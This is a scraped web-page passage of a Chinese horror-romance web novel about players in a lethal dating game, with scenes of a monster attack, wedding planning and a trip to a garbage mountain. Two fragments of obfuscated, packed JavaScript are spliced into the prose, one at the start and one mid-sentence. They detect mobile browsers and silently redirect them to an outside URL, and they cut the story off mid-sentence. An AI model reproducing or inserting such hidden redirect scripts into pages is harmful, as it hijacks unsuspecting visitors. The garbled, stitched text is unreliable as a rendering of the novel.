l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17069961|193275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不,不是眼睛动了。 而是尸体动了。 怪物抓住女子的脚,一点一点地将她拖走。 洁白的地面留下了一道长长的血痕。 脚步声渐渐远去,女性卫生间的门被关上了。 是梦吧?是噩梦吧? 也许等天光亮起,一觉醒来,一切都过去了,明天又是新的一天。 早安,思敏。 早安,小妍。 今天吃什么呀? 让我想想哦,要不牛奶配三明治吧! 可是不会有牛奶和三明治了,也不会有思敏和小妍了。 就好像这一夜永远不会过去,明天也不会到来。 如果他继续苟在这里,那迟早会被怪物发现。 到处乱跑,同样是自寻死路! 怎么办?怎么办?怎么办啊!!! 他引以为豪的聪明脑袋此刻竟想不出一点办法。 滴答! 有什么东西流了下来,滴到了他的脸上。 漏水了吗? 他摸了摸脸,把手拿到眼前一看,看到了一抹刺目至极的红。 阮思敏茫然地抬头,猝不及防与另一双血红色的眼睛对视。 它出现在一头如水草般浓密的幽黑长发中,出现在一张惨白如墙皮的脸上。 狂热、恶毒、满含爱意。 舒妍的脸像被嵌在天花板上的格子里,如一只四四方方的盒子装了个美艳的脑袋。 在她的脸上,齿轮有条不紊地转动着,带动嘴角的微笑。 人间有地狱吗? 有的! 多年前,舒妍临死前这样认为。 而此刻,从她的眼睛里,阮思敏同样看见了地狱。 * 楼下惨烈至极的景象被隔绝了,楼顶一片安宁静谧。 如造物之初神赐的花园。 天地似一片流淌的星河,有一种世界尽头的美。 世界尽头只剩一男一女两只小小的人类。 陆秋白背靠老树,安静地坐在了树下。而阮思甜将头枕在了他修长的腿上。 满树的灯如白色的智慧果。 没有蛇的引诱,两人将在乐园中无忧无虑地地老天荒。 “我们玩个游戏吧。”阮思甜微笑着看向自己的男朋友。 “你说。” 阮思甜拨弄了会树下的开关,树上的灯如有呼吸般,开始明明灭灭。 朦胧昏暗中,她用专注的目光看着他清俊的脸。 “我想问个问题。” “灯暗时,你说假话。灯亮时,你说真话。” 陆秋白眼神晦暗地笑了笑。 “你问。” 阮思甜:“你有多爱我呢?” 陆秋白用手摸了摸她的头发,笑道:“小甜,不如你自己来找答案?” 阮思甜:? 可恶,男朋友突然变得诡计多端! 陆秋白从树边拿起一本书。 她看了一眼,发现是从交界餐厅带回来的那一本童话。 陆秋白调了下灯光。 明亮的光线下,他骨节分明的手有条不紊地翻动着书页,沙沙的翻书声与风吹树叶的簌簌声相和。 “很久很久以前,有一个古老的王国,这个王国曾繁华过,如今却在渐渐死去。” “王国里有一座城堡,城堡里有一位美丽的公主。” “在王国的另一角,有一大片肮脏的垃圾山。” “垃圾山最深处有一棵树,树下有一座小小的房子,小小的房子里住着一个美丽而贫穷的小小少年。” “少年爱上了公主,可他不知道,公主的内心住着一只恶魔。” “后来……” 阮思甜的眼皮越来越重。 男朋友的声音很好听,温柔低沉,可她听着却觉得十分催眠。 为了让她更好地入梦,树上的灯渐渐熄灭。 陆秋白的声音却并未停止。 “公主的家人全都死去了,她的世界里只剩下他。” “少年对公主说,不要害怕,等你手里的小人走到迷宫的出口时,我就会回来了。” “但是她等啊等,等了很多年,他始终没有回来……” 26. 心跳百分百(二十六) 人类的婚礼十分繁琐,包括设计婚纱、举办婚礼、安排酒宴,还有邀请宾客等一系列流程。 有部分陆秋白交给了生活助理去办,另一些则亲自参与。 比如说,今天早上,他和阮思甜看了一个早上的婚服图纸,女朋友怎么看怎么不满意。 “这套太繁复了,很麻烦,那一套又太现代化,不够有复古感……” 她一一否决了设计师发来的几套方案。 有时候,人类的女性真的很麻烦!陆秋白如是想道。 “为什么这么急?哪有人求完婚没几天就要举行婚礼的?”看完婚服的设计图,阮思甜托着下巴问他。 该如何回答这个问题?陆秋白开始思考。 好在阮思甜也就是随口一说,没想真的得到答案。 过了好一会儿,她又开口:“等婚礼结束,我们去跨国游轮上度蜜月吧!我有好多国家想去……” 皱眉思索了片刻,她又改变了想法,“可我又有点想试试去北极的游轮,我还没看到过世界尽头的冰川和北极熊呢!” 陆秋白正坐在沙发上看科学杂志,翻页时纸张发出轻响。 他抬起眼皮看了她一眼,不予置否。 那道目光里没什么情绪。 很快他又低下头,沉浸在自己的世界里。 阮思甜有点不高兴,怎么这样啊?昨晚才求完婚,今天就这么冷淡了? 随即她又想起,昨晚他连亲口说爱她都不愿意,还要让她猜! 他变得和她的哈士奇一样可恶了!还和哈士奇一样学会了装聋作哑!!! 转念又一想,这让他怎么回答? 男朋友的确很忙啊!可能实在抽不出时间,唉! 难为他今天在家陪她。 这时候,狗子轻轻地咬了她的手一下,阮思甜低头,摸了摸它的头。 哈:饿了,要吃东西! 阮思甜看着它一脸馋相,感觉自己也很想吃东西。 她转头看向厨房。 仿生人娜娜在给她烤草莓小蛋糕,并做了太妃榛果咖啡,浓郁的焦香味弥漫。 阮思甜吸了吸鼻子,又看了看自己的男朋友。 他正背靠沙发坐着,一本正经地在看一本有关天外文明的期刊。 可能被哈士奇附体了,那一瞬间她脱口而出道:“以后我们吃东西,我负责尝味道,你负责摄取养分长胖,如果能这样分工多好!” 翻页声停止了,客厅中一下子安静了下来。 阮思甜略带忐忑地看向了自己的男朋友。 很明显,哪怕冷静如陆秋白,似乎也被这句抽象至极的话给惊到了。 他慢慢放下杂志,用一种幽深的目光看了她一眼。 那一眼沉甸甸的,压得她心头发慌。 阮思甜心中一惊,本能地感觉到了不安。 奇怪,她怎么会对他说这种话?太过放肆了。 还说得这么顺口,好像早就说过一遍一样? 他们之间除了男女朋友的关系,还隔着身份的千差万别。 考虑到这一层,阮思甜的头脑一下子清醒了不少。 可恶,这不像是她的风格! 她明明人美声甜性格好,是个不折不扣的淑女! 对,才不是她的问题!一定是被邪恶哈士奇给传染了! 狗子:??? 看着男朋友那张温润又冷漠的脸,她有些心虚,立刻扑过去拉住他的手,撒娇似的轻晃了几下,“开玩笑的。” 随后又钻入他的怀中,在他的脸上胡乱亲了几口,“陆老板生气了吗?咦,怎么有人真的会生女朋友的气呢?” “不要生气啦,等会我喂你吃小蛋糕……” 陆秋白静静地看了她几秒,半晌后才缓缓说道:“好!” 他的语气非常认真,不知怎的阮思甜心里开始发毛。 不就是吃小蛋糕么,搞这么郑重干什么? * 酒店的午餐是自助的,来来往往的客人们悠闲地享受着这美好的时光。 不少人吃完正餐后,还去取了份美味的饭后小甜品。 陈野也跟着人流去拿了两块,和江敛一起在落地窗边享用。 蛋糕很甜,但他的心甜不起来。 对面的江敛还在一脸纠结,“颜乐也是和我们一样的新人,丢下她真的好吗?” 闻言陈野冷笑了声,道:“文雪对她没恶意,但对我们可不是!” “现在该担心的,是我们自己。不信你看看任务面板!” 【NPC阮思敏:已死亡】 【任务状态:失败】 【心跳同步值:0%】 【副本难度提升中】 【友情提醒:所有NPC已死亡,约会任务尚未完成,他们的死亡方式将随机发生在下一位玩家身上。】 继续往下翻。 【团队成员:赵杰】 【状态:已死亡(因难度升级,副本解锁部分限制,该玩家死于约会任务之外)】 再往下,出现一条新的提示。 【下一阶段任务执行者已选定。】 【执行者:陈野】 【友情提示:请尽快完成与匹配对象的约会任务,任务失败将遭遇可怕后果!】 江敛心中一惊。 陈野又发出一声冷笑,“我们还有四个人,我第一个被选中,可能是运气不好,但也有可能……” 他没有继续说下去,但江敛明白了他的意思。 如果是前者还好说,如果是后者,说明哪怕脱离了文雪的视线,她也依然有方法可以针对他们! “我们明明从来没有得罪过她,为什么……” “哪有那么多为什么?在这种非生即死的世界,弱小就是原罪!” 陈野手机上的心脏图标疯狂闪动,他打开一看,发现这游戏直接给他匹配了一个对象。 哟,还以为也要搞个测试心跳值的小游戏,这下是装都不装了! 不过他脑子里多少已经有了点思路。 点开聊天界面,对面是个美女头像。 图中女子身穿紧身黑色长裙,脸上戴着半张舞会用的假面,看上去性感而妩媚。 “小姐姐,中午好啊!我是阿杰!”他脸不红心不跳地撒谎。 “你好啊,阿杰,我是菲菲。” 陈野抛开脑子里的杂念,开始专心和对方聊天。 对面的女子明明穿的风情万种,聊天的风格却一派天真,偶尔还带点少女的娇俏。 问及对方喜不喜欢玩游戏时,对方说不喜欢,但对最近大火的恋爱季节那首主题曲很感兴趣。 陈野说:“我倒是很喜欢玩游戏,特别是现在我们用来聊天这个,它可真有意思,竟让我们相遇!” 菲菲发来一段笑声。 沙哑而妩媚,透着十足的诱惑。 可不知道为什么,听到这声音,他心里总觉得瘆得慌。 好像下一秒,声音的主人就会从手机中钻出,对他们大开杀戒。 当然,这明显是他想多了。 陈野深吸一口气,挤出一脸假笑,继续全身心投 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17079807|193275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入和菲菲的聊天。 旁敲侧击中,他询问了很多有关这个游戏的细节。 其实该更谨慎一点的,但他们没有时间了! 菲菲:“你说开发者啊?我也不知道具体信息呢,只听说几年前,那人好像住在老城区的垃圾山最深处吧!” “老城区出过很多青年才俊……” 陈野心下庆幸,看来聊天本身就是获取信息的环节,副本并未彻底堵死他们的路。 当然,最坏的情况是,那可能是一个陷阱。 不过他们没得选! * 头顶的列车呼啸而过,载着车上体面的乘客驶向美好的生活。 底下则是浓重的阴影。 纵横交错的高架轨道将星海市切割为两半,一半是科技高度发达的明日之城,另一半却在慢慢死去,生活在这里的人也像被抛弃的垃圾一样,发烂腐臭。 当陈野和江敛从阴影中走出,老城区下午的阳光洒落在他们头顶。 那光灰蒙蒙的,明明是春天,却比冬天的阳光还要无力。 淡淡的臭味弥漫在附近。 陈野手中拿着一张模糊的地图,对比着图上的路线看了又看。 一排排老旧的街区映入眼帘,店铺招牌东倒西歪,后面的居民楼也十分破落。 街上躺着很多衣衫褴褛的流浪汉,不知道怎么回事,这些人十分萎靡,有些还很僵硬,活像是电影里的丧尸。 再往前走,建筑越来越残破,人也越来越少,味道却越来越重。 到最后,连流浪汉也没有了。 之前探索过的那个恐怖小区近在咫尺。 他们有意识地想要避开它,却避无可避,只能尽量与小区外墙隔出一点距离,轻手轻脚地往前走。 白天,它看起来普普通通。 可那个私人重地,还有幻象中所见的第四实验场,至今仍让江敛心头发毛。 陈野拉着他加快了脚步。 没过多久,他们就走到了垃圾山附近。 浓烈至极的臭味扑鼻而来,铺天盖地的垃圾肆意弥漫,怎么也找不到入口。 正烦恼着该从哪里进入时,一个头发花白,脸色比头发更白的人“嗖”的一下从一个隐蔽的入口蹿了出来。 “不要进去!不要进去!” “有死人!” “那女人死了!” “死了!烂了!发臭了!!!” 他的声音有几分歇斯底里,明显精神状态出了问题。 仔细看的话,会发现他的脸苍老干瘪如晒干的橘皮,沟壑纵横,表情十分狰狞。 这张脸上有一双浑浊的眼睛,眼里布满鲜红的血丝,一张嘴猩红猩红的,不知道吃了什么东西,胸前还沾了不少暗红色液体。 陈野拿起一根棍子,挡在江敛身前。 半晌后,他发现对方并没有攻击他们的意图,于是试图问话。 但是这人翻来覆去都是“死了”“烂了”这么几句。 看来是个没法沟通的疯子! 他护着江敛,小心翼翼地从疯子旁边走过,进入了垃圾山中。 经过拐角时,他回头看了一眼,发现那人还呆呆地站在原地,保持最初的姿势一动不动。 陈野忽地睁大了眼睛。 他的后脑勺竟然凹进去了一大块,隐约能看到里面的金属部件!!! 像是察觉到了江敛的视线,对方猛地回头。 四目相对的刹那,那双浑浊的眼神迸发出强烈的渴望,而后这人舔了舔嘴角,露出一个贪婪的笑容!